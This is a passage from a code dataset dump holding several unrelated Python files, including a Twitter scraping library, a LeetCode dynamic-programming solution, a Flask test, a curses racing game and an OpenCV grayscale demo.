m)\n","sub_path":"Create_Graphene_Sheet/convert_cnt_gnp_2_iff/convert_cnt_gnp___opls_2_iff.py","file_name":"convert_cnt_gnp___opls_2_iff.py","file_ext":"py","file_size_in_byte":6127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"490482399","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@File : zip_groupby.py\n@Time : 2019/09/24 09:55:52\n@Author : Niu Xiaodong \n@Version : 1.0\n@Contact : xniu@msn.com\n@License : (C)Copyright 2017-2018\n@Desc : None\n'''\n\n# here put the import lib\n\nfrom itertools import groupby\n\na=[\"x\",\"y\",\"z\"]\nb=[1,2,3]\nc=[\"a\",\"b\",\"c\",\"d\"]\nabzip=zip(a,b,c)\n#print(list(abzip))\n#print(dict(abzip))\n\n#for key,group in groupby(sorted(abzip),lambda x:x[0]):\n# print(key,list(group))\n\ng=groupby(sorted(abzip),lambda x:x[0])\nprint(list(g))","sub_path":"Chapter15/zip_groupby.py","file_name":"zip_groupby.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"640475417","text":"#coding = utf-8\nimport re\nimport time\nimport json\nimport datetime\nimport requests\nimport random\nimport importlib.resources\nimport os\nfrom requests_html import HTMLSession\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nfrom .scraperresult import TwitterScraperResultProfile, TwitterScraperTrends, TwitterSearchKeywords, TwitterScraperTweets\n\nclass TwitterScraper:\n\tdef __init__(self, proxy_enable=False, proxy_http=None, proxy_https=None) :\n\t\t# Disable Waring Text\n\t\trequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\t\tself.url = \"https://twitter.com/\"\n\t\tself.api = \"https://api.twitter.com/\"\n\n\t\t#Target URL\n\t\tself.profile = \"1.1/users/lookup.json?{}={}\"\n\n\t\tself.user_agent = self.__load_user_agent()\n\n\t\tself.proxy_enable = proxy_enable\n\t\tself.proxy_http = \"http://\" + str(proxy_http)\n\t\tself.proxy_https = \"https://\" + str(proxy_https)\n\n\t\tself.token = self.__get_token()\n\t\tself.xguest = self.__getxguesttoken()\n\n\t\tself.country_code = self.__getcountry_code()\n\n\t#Public Function\n\tdef get_profile(self, name: str=None, names: list=None, id: str=None, ids: dict=None) -> dict :\n\t\ttarget = None\n\t\tif not name is None :\n\t\t\ttarget = self.profile.format(\"screen_name\",name)\n\t\telif not id is None :\n\t\t\ttarget = self.profile.format(\"user_id\",id)\n\t\telif not names is None :\n\t\t\ttarget = [self.__get_twid(names), \"screen_name\"]\n\t\telif not ids is None :\n\t\t\ttarget = [self.__get_twid(ids),\"user_id\"]\n\t\t\n\t\tif not name is None or not id is None :\n\t\t\tresp = self.__requestsdata(\n\t\t\t\turl=self.api,\n\t\t\t\ttarget=target\n\t\t\t)\n\n\t\t\tdata = resp.json()\n\t\telse :\n\t\t\tdata = []\n\t\t\tfor x in target[0] :\n\t\t\t\t# print(x)\n\t\t\t\tresp = self.__requestsdata(\n\t\t\t\t\turl=self.api,\n\t\t\t\t\ttarget=self.profile.format(target[1],x)\n\t\t\t\t)\n\t\t\t\t\n\t\t\t\tfor y in resp.json() :\n\t\t\t\t\tdata.append(y)\n\n\n\n\t\tif resp.status_code >= 200 :\n\t\t\tif len(data) == 0 or \"errors\" in data:\n\t\t\t\traise Exception(\"Error! User Not Found!\")\n\t\t\t\n\t\t\tif len(data) >= 2 or not names is None or not ids is None : \n\t\t\t\tres = []\n\t\t\t\tfor data_tw in data :\n\t\t\t\t\tres.append(\n\t\t\t\t\t\tTwitterScraperResultProfile(\n\t\t\t\t\t\t\ttwitter_id=data_tw[\"id\"],\n\t\t\t\t\t\t\ttwitter_name=data_tw[\"name\"],\n\t\t\t\t\t\t\ttwitter_url=(self.url + data_tw[\"screen_name\"]),\n\t\t\t\t\t\t\ttwitter_screenname=data_tw[\"screen_name\"],\n\t\t\t\t\t\t\ttwitter_location=data_tw[\"location\"],\n\t\t\t\t\t\t\ttwitter_entities=data_tw[\"entities\"],\n\t\t\t\t\t\t\ttwitter_description=data_tw[\"description\"] if \"description\" in data_tw else None ,\n\t\t\t\t\t\t\ttwitter_verifed=data_tw[\"verified\"] if \"verified\" in data_tw else None,\n\t\t\t\t\t\t\ttwitter_pinned=True if len(data_tw[\"pinned_tweet_ids\"]) == 0 else False,\n\t\t\t\t\t\t\ttwitter_pinned_id=data_tw[\"pinned_tweet_ids\"][0] if len(data_tw[\"pinned_tweet_ids\"]) != 0 else None ,\n\t\t\t\t\t\t\ttwitter_follower=data_tw[\"followers_count\"],\n\t\t\t\t\t\t\ttwitter_following=data_tw[\"friends_count\"] ,\n\t\t\t\t\t\t\ttwitter_tweet=data_tw[\"statuses_count\"] if \"statuses_count\" in data_tw else None ,\n\t\t\t\t\t\t\ttwitter_media=data_tw[\"media_count\"] if \"media_count\" in data_tw else None ,\n\t\t\t\t\t\t\ttwitter_profileurl=data_tw[\"profile_image_url_https\"].replace(\"_normal\",\"\") if \"profile_image_url_https\" in data_tw else None,\n\t\t\t\t\t\t\ttwitter_favourites=data_tw[\"favourites_count\"],\n\t\t\t\t\t\t\ttwitter_bannerurl=data_tw[\"profile_banner_url\"] if \"profile_banner_url\" in data_tw else None,\n\t\t\t\t\t\t\ttwitter_profile_color=data_tw[\"profile_link_color\"] if \"profile_link_color\" in data_tw else None,\n\t\t\t\t\t\t\ttwitter_extended_url=data_tw[\"url\"] if \"url\" in data_tw else None ,\n\t\t\t\t\t\t\ttwitter_createat=datetime.datetime.strptime(data_tw[\"created_at\"],\"%a %b %d %H:%M:%S %z %Y\"),\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t\n\t\t\t\treturn res\n\t\t\telse :\n\t\t\t\t# print(data)\n\t\t\t\tdata_tw = data[0]\n\t\t\t\treturn TwitterScraperResultProfile(\n\t\t\t\t\ttwitter_id=data_tw[\"id\"],\n\t\t\t\t\ttwitter_name=data_tw[\"name\"],\n\t\t\t\t\ttwitter_url=(self.url + data_tw[\"screen_name\"]),\n\t\t\t\t\ttwitter_screenname=data_tw[\"screen_name\"],\n\t\t\t\t\ttwitter_location=data_tw[\"location\"],\n\t\t\t\t\ttwitter_entities=data_tw[\"entities\"],\n\t\t\t\t\ttwitter_description=data_tw[\"description\"] if \"description\" in data_tw else None ,\n\t\t\t\t\ttwitter_verifed=data_tw[\"verified\"] if \"verified\" in data_tw else None,\n\t\t\t\t\ttwitter_pinned=True if len(data_tw[\"pinned_tweet_ids\"]) == 0 else False,\n\t\t\t\t\ttwitter_pinned_id=data_tw[\"pinned_tweet_ids\"][0] if len(data_tw[\"pinned_tweet_ids\"]) != 0 else None ,\n\t\t\t\t\ttwitter_follower=data_tw[\"followers_count\"],\n\t\t\t\t\ttwitter_following=data_tw[\"friends_count\"] ,\n\t\t\t\t\ttwitter_tweet=data_tw[\"statuses_count\"] if \"statuses_count\" in data_tw else None ,\n\t\t\t\t\ttwitter_media=data_tw[\"media_count\"] if \"media_count\" in data_tw else None ,\n\t\t\t\t\ttwitter_profileurl=data_tw[\"profile_image_url_https\"].replace(\"_normal\",\"\") if \"profile_image_url_https\" in data_tw else None,\n\t\t\t\t\ttwitter_favourites=data_tw[\"favourites_count\"],\n\t\t\t\t\ttwitter_bannerurl=data_tw[\"profile_banner_url\"] if \"profile_banner_url\" in data_tw else None,\n\t\t\t\t\ttwitter_profile_color=data_tw[\"profile_link_color\"] if \"profile_link_color\" in data_tw else None,\n\t\t\t\t\ttwitter_extended_url=data_tw[\"url\"] if \"url\" in data_tw else None ,\n\t\t\t\t\ttwitter_createat=datetime.datetime.strptime(data_tw[\"created_at\"],\"%a %b %d %H:%M:%S %z %Y\"),\n\t\t\t\t)\n\n\n\tdef get_tweets(self,id: str=None,count: int=20) :\n\t\ti = 0\n\t\ttweets = []\n\n\t\tresp = self.__requestsdata(\n\t\t\turl=self.url,\n\t\t\ttarget=f\"i/api/2/timeline/profile/{id}.json?userId={id}&count={count}\"\n\t\t)\n\n\t\tif resp.status_code >= 400 :\n\t\t\traise Exception(\"ID User Not Found!\")\n\n\t\tdata = resp.json()\n\t\ttweetslist = data[\"globalObjects\"][\"tweets\"]\n\n\t\tfor idtweet in tweetslist :\n\t\t\tdatatweets = tweetslist[idtweet]\n\t\t\tif int(datatweets[\"user_id_str\"]) == int(id) :\n\t\t\t\ttweets.append({\n\t\t\t\t\t\"id\" : int(datatweets[\"id_str\"]),\n\t\t\t\t\t\"created_at\" : datetime.datetime.strptime(datatweets[\"created_at\"],\"%a %b %d %H:%M:%S %z %Y\"),\n\t\t\t\t\t\"lang\" : \"%s\" % datatweets[\"lang\"],\n\t\t\t\t\t\"text\" : \"%s\" % datatweets[\"full_text\"] if \"full_text\" in datatweets else datatweets[\"text\"],\n\t\t\t\t\t\"hashtags\" : [],\n\t\t\t\t\t\"media\" : [],\n\t\t\t\t\t\"urls\" : [],\n\t\t\t\t\t\"likes\" : int(datatweets[\"favorite_count\"]) if \"favorite_count\" in datatweets else 0 ,\n\t\t\t\t\t\"relay\" : int(datatweets[\"reply_count\"]) if \"reply_count\" in datatweets else 0,\n\t\t\t\t\t\"retweet\" : int(datatweets[\"retweet_count\"]) if \"retweet_count\" in datatweets else 0\n\t\t\t\t})\n\n\t\t\t\t#Remove Enter\n\t\t\t\ttweets[i][\"text\"] = tweets[i][\"text\"].strip().replace(\"\\n\", \"\")\n\n\t\t\t\tfor dataentities in datatweets[\"entities\"] :\n\t\t\t\t\tif dataentities == \"hashtags\" :\n\t\t\t\t\t\tfor datahashtags in datatweets[\"entities\"][dataentities] :\n\t\t\t\t\t\t\ttweets[i][\"hashtags\"].append(datahashtags[\"text\"])\n\n\t\t\t\t\tif dataentities == \"media\" :\n\t\t\t\t\t\tfor datamedias in datatweets[\"entities\"][dataentities] :\n\t\t\t\t\t\t\ttweets[i][\"media\"].append({\n\t\t\t\t\t\t\t\t\"url\" : \"%s\" % datamedias[\"url\"],\n\t\t\t\t\t\t\t\t\"type\" : \"%s\" % datamedias[\"type\"],\n\t\t\t\t\t\t\t\t\"image_url\" : \"%s\" % datamedias[\"media_url_https\"],\n\t\t\t\t\t\t\t\t\"twitter_url\" : \"%s\" % datamedias[\"expanded_url\"]\n\t\t\t\t\t\t\t})\n\n\t\t\t\t\tif dataentities == \"urls\" :\n\t\t\t\t\t\tfor dataurls in datatweets[\"entities\"][dataentities] :\n\t\t\t\t\t\t\ttweets[i][\"urls\"].append({\n\t\t\t\t\t\t\t\t\"url\" : \"%s\" % dataurls[\"url\"]\n\t\t\t\t\t\t\t})\n\n\t\t\t\ti += 1\n\n\t\treturn TwitterScraperTweets(\n\t\t\ttwitter_data=tweets\n\t\t)\n\n\tdef get_tweetinfo(self, id: str =None, count=20) :\n\t\ttweet = {}\n\n\t\tresp = self.__requestsdata(\n\t\t\turl=self.url,\n\t\t\ttarget=f\"i/api/2/timeline/conversation/{id}.json?tweet_mode=extended&count={count}\"\n\t\t)\n\n\t\tif resp.status_code >= 400 :\n\t\t\traise Exception(\"ID Tweet Not Found!\")\n\n\t\tdata = resp.json()[\"globalObjects\"][\"tweets\"][\"%s\" % id]\n\n\t\ttweet.update({\n\t\t\t\"id\" : int(data[\"id_str\"]),\n\t\t\t\"created_at\" : datetime.datetime.strptime(data[\"created_at\"],\"%a %b %d %H:%M:%S %z %Y\"),\n\t\t\t\"lang\" : \"%s\" % data[\"lang\"],\n\t\t\t\"text\" : \"%s\" % data[\"full_text\"] if \"full_text\" in data else data[\"text\"],\n\t\t\t\"hashtags\" : [],\n\t\t\t\"media\" : [],\n\t\t\t\"urls\" : [],\n\t\t\t\"likes\" : int(data[\"favorite_count\"]) if \"favorite_count\" in data else 0 ,\n\t\t\t\"relay\" : int(data[\"reply_count\"]) if \"reply_count\" in data else 0,\n\t\t\t\"retweet\" : int(data[\"retweet_count\"]) if \"retweet_count\" in data else 0\n\t\t})\n\n\t\t#Remove Enter\n\t\ttweet[\"text\"] = tweet[\"text\"].strip().replace(\"\\n\", \"\")\n\n\t\tfor dataentities in data[\"entities\"] :\n\t\t\tif dataentities == \"hashtags\" :\n\t\t\t\tfor datahashtags in data[\"entities\"][dataentities] :\n\t\t\t\t\ttweet[\"hashtags\"].append(datahashtags[\"text\"])\n\n\t\t\tif dataentities == \"media\" :\n\t\t\t\tfor datamedias in data[\"entities\"][dataentities] :\n\t\t\t\t\ttweet[\"media\"].append({\n\t\t\t\t\t\t\"url\" : \"%s\" % datamedias[\"url\"],\n\t\t\t\t\t\t\"type\" : \"%s\" % datamedias[\"type\"],\n\t\t\t\t\t\t\"image_url\" : \"%s\" % datamedias[\"media_url_https\"],\n\t\t\t\t\t\t\"twitter_url\" : \"%s\" % datamedias[\"expanded_url\"]\n\t\t\t\t\t})\n\n\t\t\tif dataentities == \"urls\" :\n\t\t\t\tfor dataurls in data[\"entities\"][dataentities] :\n\t\t\t\t\ttweet[\"urls\"].append({\n\t\t\t\t\t\t\"url\" : \"%s\" % dataurls[\"url\"]\n\t\t\t\t\t})\n\n\t\treturn TwitterScraperTweets(\n\t\t\ttwitter_data=tweet\n\t\t)\n\n\tdef get_trends(self, code=\"Universal\") :\n\t\tname_trend = []\n\n\t\tresp = self.__requestsdata(\n\t\t\turl=self.api,\n\t\t\ttarget=f\"1.1/trends/place.json?id={self.country_code[code]}\"\n\t\t)\n\n\t\tif resp.status_code >= 400 :\n\t\t\traise Exception(\"ISO Code not founded!\")\n\n\t\tdata = resp.json()\n\n\t\tfor items in data[0][\"trends\"] :\n\t\t\tname_trend.append({\n\t\t\t\t\"name\" : \"%s\" % items[\"name\"], \n\t\t\t\t\"description\" : \"%s\" % items[\"description\"] if \"description\" in items else None,\n\t\t\t\t\"url\" : \"%s\" % items[\"url\"],\n\t\t\t\t\"tweet\" : \"%s\" % items[\"tweet_volume\"]\n\t\t\t})\n\n\t\treturn TwitterScraperTrends(\n\t\t\ttwitter_data=name_trend\n\t\t)\n\n\tdef get_tweetcomments(self,id: str=None) :\n\t\ti = 0\n\t\tcommants = []\n\n\t\tresp = self.__requestsdata(\n\t\t\turl=self.url,\n\t\t\ttarget=f\"i/api/2/timeline/conversation/{id}.json?tweet_mode=extended&count=10\"\n\t\t)\n\n\t\tif resp.status_code >= 400 :\n\t\t\traise Exception(\"ID Tweet Not Found!\")\n\t\t\t\n\t\tdata = resp.json()[\"globalObjects\"][\"tweets\"]\n\n\t\tdel data[\"%s\" % id]\n\n\t\tfor idtweet in data :\n\t\t\tdatatweets = data[idtweet]\n\t\t\tcommants.append({\n\t\t\t\t\"id\" : int(datatweets[\"id_str\"]),\n\t\t\t\t\"created_at\" : datetime.datetime.strptime(datatweets[\"created_at\"],\"%a %b %d %H:%M:%S %z %Y\"),\n\t\t\t\t\"comment\" : \"%s\" % datatweets[\"full_text\"] if \"full_text\" in datatweets else datatweets[\"text\"],\n\t\t\t\t\"hashtags\" : [],\n\t\t\t\t\"media\" : [],\n\t\t\t\t\"urls\" : [],\n\t\t\t\t\"likes\" : int(datatweets[\"favorite_count\"]) if \"favorite_count\" in datatweets else 0 ,\n\t\t\t\t\"relay\" : int(datatweets[\"reply_count\"]) if \"reply_count\" in datatweets else 0,\n\t\t\t\t\"retweet\" : int(datatweets[\"retweet_count\"]) if \"retweet_count\" in datatweets else 0\n\t\t\t})\n\n\t\t\t#Remove Enter\n\t\t\tcommants[i][\"comment\"] = commants[i][\"comment\"].strip().replace(\"\\n\", \"\")\n\n\t\t\tfor dataentities in datatweets[\"entities\"] :\n\t\t\t\tif dataentities == \"hashtags\" :\n\t\t\t\t\tfor datahashtags in datatweets[\"entities\"][dataentities] :\n\t\t\t\t\t\tcommants[i][\"hashtags\"].append(datahashtags[\"text\"])\n\n\t\t\t\tif dataentities == \"media\" :\n\t\t\t\t\tfor datamedias in datatweets[\"entities\"][dataentities] :\n\t\t\t\t\t\tcommants[i][\"media\"].append({\n\t\t\t\t\t\t\t\"url\" : \"%s\" % datamedias[\"url\"],\n\t\t\t\t\t\t\t\"type\" : \"%s\" % datamedias[\"type\"],\n\t\t\t\t\t\t\t\"image_url\" : \"%s\" % datamedias[\"media_url_https\"],\n\t\t\t\t\t\t\t\"twitter_url\" : \"%s\" % datamedias[\"expanded_url\"]\n\t\t\t\t\t\t})\n\n\t\t\t\tif dataentities == \"urls\" :\n\t\t\t\t\tfor dataurls in datatweets[\"entities\"][dataentities] :\n\t\t\t\t\t\tcommants[i][\"urls\"].append({\n\t\t\t\t\t\t\t\"url\" : \"%s\" % dataurls[\"url\"]\n\t\t\t\t\t\t})\n\n\t\t\ti += 1\n\n\t\treturn TwitterScraperTweets(\n\t\t\ttwitter_data=commants\n\t\t)\n\n\n\tdef searchkeywords(self, query=None) :\n\t\ti,j = 0, 0\n\n\t\tusers = []\n\t\ttopics = []\n\n\t\tresp = self.__requestsdata(\n\t\t\turl=self.url,\n\t\t\ttarget=\"i/api/1.1/search/typeahead.json?q=\"+ requests.utils.quote(query) +\"&src=search_box&result_type=events%2Cusers%2Ctopics\"\n\t\t)\n\n\t\tdata = resp.json()\n\n\t\tfor datausers in data[\"users\"] :\n\t\t\tusers.append({\n\t\t\t\t\"name\" : \"%s\" % datausers[\"name\"],\n\t\t\t\t\"url\" : \"%s\" % self.url + datausers[\"screen_name\"],\n\t\t\t\t\"profileurl\" : \"%s\" % datausers[\"profile_image_url\"] if \"profile_image_url\" in datausers else None,\n\t\t\t\t\"bannerurl\" : \"%s\" % datausers[\"profile_image_url_https\"] if \"profile_image_url_https\" in datausers else None,\n\t\t\t\t\"screen_name\" : \"%s\" % datausers[\"screen_name\"],\n\t\t\t\t\"tags\" : []\n\t\t\t})\n\n\t\t\tfor tags in datausers[\"tokens\"] :\n\t\t\t\tusers[i][\"tags\"].append(tags[\"token\"])\n\n\t\t\ti += 1\n\n\t\tfor datatopics in data[\"topics\"] :\n\t\t\ttopics.append({\n\t\t\t\t\"name\" : \"%s\" % datatopics[\"topic\"],\n\t\t\t\t\"tags\" : []\n\t\t\t})\n\n\t\t\t# if \"tokens\" in data\n\t\t\tfor tags in datatopics[\"tokens\"] :\n\t\t\t\ttopics[j][\"tags\"].append(tags[\"token\"])\n\n\t\t\tj += 1\n\n\t\treturn TwitterSearchKeywords(\n\t\t\ttwitter_userdata=users,\n\t\t\ttwitter_topicsdata=topics\n\t\t)\n\n\tdef __requestsdata(self,url,target) :\n\t\tsession = HTMLSession()\n\t\twhile True :\n\t\t\ti = 0\n\t\t\ttry :\n\t\t\t\tproxy = {}\n\t\t\t\tif self.proxy_enable == True :\n\t\t\t\t\tproxy = {\n\t\t\t\t\t\t\"http\" : self.proxy_http,\n\t\t\t\t\t\t\"https\" : self.proxy_https\n\t\t\t\t\t}\n\n\t\t\t\t# Requests Data\n\t\t\t\tresp = session.get(\n\t\t\t\t\t(url + target),\n\t\t\t\t\theaders=self.__getdataheaders(),\n\t\t\t\t\tproxies=proxy,\n\t\t\t\t\tverify=False\n\t\t\t\t)\n\t\t\t\n\t\t\t\theaders = resp.headers\n\n\t\t\t\tif resp.status_code == 403 :\n\t\t\t\t\tself.token = self.__get_token()\n\t\t\t\t\tself.xguest = self.__getxguesttoken()\n\n\t\t\t\tif \"x-rate-limit-remaining\" in headers :\n\t\t\t\t\tif int(headers[\"x-rate-limit-remaining\"]) >= 1 :\n\t\t\t\t\t\tif resp.status_code != 429 :\n\t\t\t\t\t\t\treturn resp\n\t\t\t\telse :\n\t\t\t\t\tif resp.status_code != 429 :\n\t\t\t\t\t\treturn resp\n\t\t\t\t\t\n\t\t\texcept requests.exceptions.SSLError as e :\n\t\t\t\ti += 1\n\t\t\t\tprint(f\"Connect Proxy Failed... Try connect of [ {i} / 10 ]\")\n\n\t\t\t\tif i >= 10 :\n\t\t\t\t\t# print(e)\n\t\t\t\t\traise requests.exceptions.SSLError(e)\n\n\t\t\t\tpass\n\t\n\t\n\t# Private Function\n\tdef __get_token(self) -> str : \n\t\tsession = HTMLSession()\n\t\tresp = session.get(self.url)\n\t\tlinks = resp.html.find(\"link\")\n\n\t\tscripts = []\n\t\tfor link in links:\n\t\t\tif link.attrs.get(\"as\") != \"script\":\n\t\t\t\tcontinue\n\t\t\tscripts.append(link.attrs.get(\"href\"))\n\n\t\t#Delay Becasue Twitter Set Rate Limit :v\n\t\ttime.sleep(0.5)\n\t\tmain_script = list(filter(lambda u: \"/main.\" in u, scripts))\n\n\t\tnew = main_script[0]\n\t\tresp = session.get(new)\n\t\ttoken_regex = re.compile(r\"A{20}.{84}\")\n\n\t\treturn token_regex.findall(resp.text)[0]\n\n\tdef __getxguesttoken(self) -> str :\n\t\tproxy = {}\n\n\t\tif self.proxy_enable == True :\n\t\t\tproxy = {\n\t\t\t\t\"http\" : self.proxy_http,\n\t\t\t\t\"https\" : self.proxy_https\n\t\t\t}\n\n\t\twhile True :\n\t\t\tsession = HTMLSession()\n\t\t\tresp = session.post((self.api + \"1.1/guest/activate.json\"), headers=self.__getheaderstoken(), proxies=proxy, verify=False)\n\n\t\t\tif resp.status_code != 429 or resp.status_code != 403 or resp.status_code != 400 :\n\t\t\t\t# Get JS Data\n\t\t\t\tjs_data = resp.json()\n\n\t\t\t\tif \"guest_token\" in js_data :\n\t\t\t\t\treturn js_data[\"guest_token\"]\n\n\tdef __getheaderstoken(self) :\n\t\tres = {\n\t\t\t\"Authorization\" : \"Bearer %s\" % self.token\n\t\t}\n\n\t\treturn res \n\n\tdef __getdataheaders(self) -> dict :\n\t\tres = {}\n\t\tres[\"Authorization\"] = \"Bearer %s\" % self.token\n\t\tres[\"x-guest-token\"] = self.xguest\n\t\tres[\"User-Agent\"] = self.user_agent\n\t\t\n\t\treturn res\n\t\n\tdef __getcountry_code(self) :\n\t\twith open(os.path.join(os.path.dirname(os.path.abspath(__file__)),\"woeid.json\"),\"r\") as data :\n\t\t\treturn json.loads(data.read())\n\n\tdef __load_user_agent(self) :\n\t\twith open(os.path.join(os.path.dirname(os.path.abspath(__file__)),\"user_agent.json\"),\"r\") as data :\n\t\t\treturn random.choice(json.loads(data.read()))\n\n\tdef __get_twid(self, arr) -> dict:\n\t\ts = 0\n\t\tres = []\n\n\t\twhile True :\n\t\t\tall_data = len(arr)\n\t\t\tget_ch = self.__format(arr,start=s)\n\n\t\t\tif all_data == get_ch[1] :\n\t\t\t\tres.append(get_ch[0])\n\t\t\t\tbreak\n\t\t\t\n\t\t\tres.append(get_ch[0])\n\t\t\ts += get_ch[1]\n\n\t\treturn res\n\n\tdef __format(self, arr: list, start=0) -> dict :\n\t\tprams = \"\"\n\t\ti,j = 0, start\n\n\t\tfor x in arr[start:len(arr)] :\n\t\t\tprams = prams + str(x) + \",\"\n\t\t\tif i == 99:\n\t\t\t\treturn [prams,j]\n\n\t\t\ti += 1\n\t\t\tj += 1\n\n\t\treturn [prams,j]\n","sub_path":"build/lib/pytwitterscraper/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":15567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"540763942","text":"from collections import Counter\nclass Solution(object):\n def deleteAndEarn(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if len(nums) == 0: return 0\n counts = Counter(nums)\n # counts.p()\n n = max(counts.keys()) + 1\n dp = [0] * n\n dp[1] = counts.get(1, 0)\n max_point = dp[1]\n for i in range(2, n):\n if i in counts:\n dp[i] = max(dp[i-2] + counts[i] * i, max_point)\n else:\n dp[i] = max_point\n # (i,counts.get(i, 0),dp[i]).p()\n max_point = max(max_point, dp[i])\n return max_point\n \nif __name__ == '__main__':\n from minitest import *\n\n with test(\"bs\"):\n # Solution().deleteAndEarn([]).must_equal(0)\n # Solution().deleteAndEarn([3,4,2]).must_equal(6)\n # Solution().deleteAndEarn([2, 2, 3, 3, 3, 4]).must_equal(9)\n # Solution().deleteAndEarn([1,1,1,2,4,5,5,5,6]).must_equal(18)\n # Solution().deleteAndEarn([8,10,4,9,1,3,5,9,4,10]).must_equal(37)\n Solution().deleteAndEarn([1,6,3,3,8,4,8,10,1,3]).must_equal(43)\n","sub_path":"python/leetcode/dynamic_programming/740_Delete_and_Earn.py","file_name":"740_Delete_and_Earn.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"400192337","text":"#!/usr/bin/python3\n\"\"\"\nTesting module for API calls\n\"\"\"\n\nfrom api.v1.app import app\nimport unittest\nfrom models import *\nimport requests\n\n\nclass Test_app(unittest.TestCase):\n \"\"\"Tests the flask app responding to API requests\"\"\"\n\n def setUp(self):\n \"\"\"setup instance of flask app for testing\"\"\"\n app.config['TESTING'] = True\n self.app = app.test_client()\n\n def test_page_not_found(self):\n \"\"\"tests the error 404 status code response\"\"\"\n r = request.get(\"http://0.0.0.0:5000/api/v1/stt\")\n error404 = '{\\n \"error\": \"Not found\"\\n}\\n'\n self.assertEqual(r.text, error404)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_api/test_v1/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"493051317","text":"import curses\nfrom random import randint\nfrom .car import Car\nfrom .villains import Villains\nfrom .collisions import Collision\nfrom games.errors import TerminalTooSmallError\n\n\nclass Race(Collision):\n MIN_HEIGHT = 20\n MIN_WIDTH = 40\n PADDING = 1\n\n def __init__(self, stdscreen):\n curses.curs_set(0)\n screen_height, screen_width = stdscreen.getmaxyx()\n\n if screen_height < Race.MIN_HEIGHT:\n raise TerminalTooSmallError('The screen height is too small')\n if screen_width < Race.MIN_WIDTH:\n raise TerminalTooSmallError('The width is too small')\n\n self.game_window = self.create_game_board(stdscreen)\n height, width = self.game_window.getmaxyx()\n self.score_window = self.create_score_board(stdscreen)\n self.hero = Car(y=int(height*0.6), x=self.x_positions[randint(0, 2)])\n # TODO: Remove this variables\n self.left_limit = self.x_positions[0]\n self.right_limit = self.x_positions[-1]\n self.villains = Villains(self.x_positions)\n\n @property\n def x_positions(self):\n \"\"\" Returns a list containing possible positions of the cars \"\"\"\n first = self.PADDING \n second = first + Car.CAR_WIDTH + self.PADDING\n third = second + Car.CAR_WIDTH + self.PADDING\n return [first, second, third]\n\n @property\n def game_width(self):\n return self.x_positions[-1] + Car.CAR_WIDTH + self.PADDING\n\n def pause(self):\n while self.game_window.getch() != ord('p'):\n continue\n\n def loop(self):\n key = 0\n score = 0\n level = 0\n while key is not ord('q'):\n key = self.game_window.getch()\n if key == ord('p'):\n self.pause()\n if (self.check_for_collisions(self.hero, self.villains)):\n return\n self.villains.random_add(self.hero, difficulty=level)\n self.hero.draw(self.game_window)\n self.villains.move(self.game_window)\n self.villains.draw(self.game_window)\n self.hero_motion(key)\n score = score + self.villains.remove(self.game_window)\n level = score // 10\n self.game_window.timeout(100 - level * 10)\n self.update_score(score=score, level=level)\n\n def create_game_board(self, stdscreen):\n height, width = stdscreen.getmaxyx()\n window = curses.newwin(height, self.game_width, 0, width//2)\n window.keypad(1)\n window.timeout(100)\n window.border(0, 0, 0, 0, 0, 0, 0, 0)\n return window\n\n def create_score_board(self, stdscreen):\n height, width = stdscreen.getmaxyx()\n quit_message = 'Press q to quit'\n score_width = len(quit_message) + self.PADDING * 2\n window = curses.newwin(height, score_width, 0, width//2 + self.game_width)\n window.border(0, 0, 0, 0, 0, 0, 0, 0)\n window.addstr(height//2 - 5, 1, quit_message)\n window.refresh()\n return window\n\n def hero_motion(self, key):\n new_x = self.hero.x\n motion_distance = self.hero.CAR_WIDTH + self.PADDING\n if key in [curses.KEY_LEFT, ord('h')]:\n new_x = -motion_distance + new_x\n elif key in [curses.KEY_RIGHT, ord('l')]:\n new_x = motion_distance + new_x\n\n left_limit = self.x_positions[0]\n right_limit = self.x_positions[-1]\n if new_x < left_limit:\n new_x = left_limit\n if new_x > right_limit:\n new_x = right_limit\n if self.hero.x is not new_x:\n self.hero.move(self.game_window, y=self.hero.y, x=new_x)\n\n def update_score(self, score, level=0):\n score_message = 'Score: {}'.format(score)\n level_message = 'Level: {}'.format(level)\n height, width = self.score_window.getmaxyx()\n self.score_window.addstr(height//2 - 2, width//2, level_message)\n self.score_window.addstr(height//2, width//2, score_message)\n self.score_window.refresh()\n","sub_path":"games/race/race.py","file_name":"race.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"250304654","text":"import cv2\n\n# READ an BGR image using imread() function of OpenCV\nimg = cv2.imread('./resources/itachi.jpg')\n#resize the image into 320x400 pixels for the ease of display\nimg = cv2.resize(img, (320,400))\ncv2.imshow('Original',img)\n\n\n# converting the BGR channels to GRAYSCALE using cvtColor() function of OpenCV\ngray_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\ncv2.imshow('Gray',gray_img)\n\n# Display the images and wait till any key is pressed\ncv2.waitKey(0)\n\n# Destroy all the windows created by the imshow() function of the OpenCV\ncv2.destroyAllWindows()","sub_path":"ClassAssignments/Assignment1/Ques4.py","file_name":"Ques4.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"290148900","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport logging.config\nimport os\n\nimport yaml\n\nfrom aves._logging import get_logger\nfrom aves.sqlalchemy import SQLAlchemy\n\n\n\nlogger = get_logger()\n\nclass 